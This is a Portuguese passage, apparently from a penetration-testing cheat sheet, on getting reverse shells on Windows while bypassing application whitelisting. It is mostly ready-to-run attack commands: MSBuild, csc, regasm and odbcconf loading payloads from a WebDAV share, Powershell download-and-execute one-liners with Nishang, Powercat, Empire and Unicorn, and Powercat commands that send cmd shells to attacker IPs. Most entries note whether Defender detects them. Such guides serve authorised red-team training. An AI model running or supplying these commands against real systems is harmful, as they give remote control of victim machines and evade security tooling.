## Msbuild
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Processo realizando chamada de rede: **svchost.exe**\
Carga gravada no disco: **Cache local do cliente WebDAV**
Você pode usar essa técnica para contornar a Lista Branca de Aplicativos e as restrições do Powershell.exe. Pois você será solicitado com um shell do PS.\
Basta baixar isso e executá-lo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
```
**Não detectado**
## **CSC**
Compilar código C# na máquina da vítima.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
Você pode baixar um shell reverso básico em C# aqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Não detectado**
## **Regasm/Regsvc**
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
Processo realizando chamada de rede: **svchost.exe**\
Carga gravada no disco: **Cache local do cliente WebDAV**
**Eu não tentei**
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
## Odbcconf
```
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
Processo realizando chamada de rede: **svchost.exe**\
Carga gravada no disco: **Cache local do cliente WebDAV**
**Eu não tentei**
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
## Shells do Powershell
### PS-Nishang
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
Na pasta **Shells**, existem vários tipos de shells diferentes. Para baixar e executar o Invoke-_PowerShellTcp.ps1_, faça uma cópia do script e adicione ao final do arquivo:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
Comece a servir o script em um servidor web e execute-o no dispositivo da vítima:
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
O Defender ainda não detecta isso como código malicioso (ainda, 3/04/2019).
**TODO: Verificar outros shells do nishang**
### **PS-Powercat**
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Faça o download, inicie um servidor web, inicie o ouvinte e execute-o no computador da vítima:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
O Defender ainda não detecta isso como código malicioso (até o momento, 3/04/2019).
**Outras opções oferecidas pelo powercat:**
Shell de ligação, shell reverso (TCP, UDP, DNS), redirecionamento de porta, upload/download, gerar payloads, servir arquivos...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep
```
### Empire
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Crie um lançador do powershell, salve-o em um arquivo e faça o download e execute-o.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**Detectado como código malicioso**
### MSF-Unicorn
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
Crie uma versão em powershell de uma porta dos fundos do metasploit usando o unicorn
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
Inicie o msfconsole com o recurso criado:
```
msfconsole -r unicorn.rc
```
Inicie um servidor web que sirva o arquivo _powershell\_attack.txt_ e execute no alvo:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**Detectado como código malicioso**
## Mais
[PS>Attack](https://github.com/jaredhaight/PSAttack) Console PS com alguns módulos ofensivos PS pré-carregados (cifrado)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS com alguns módulos ofensivos PS e detecção de proxy (IEX)
## Bibliografia
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
* [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
* [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/)
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
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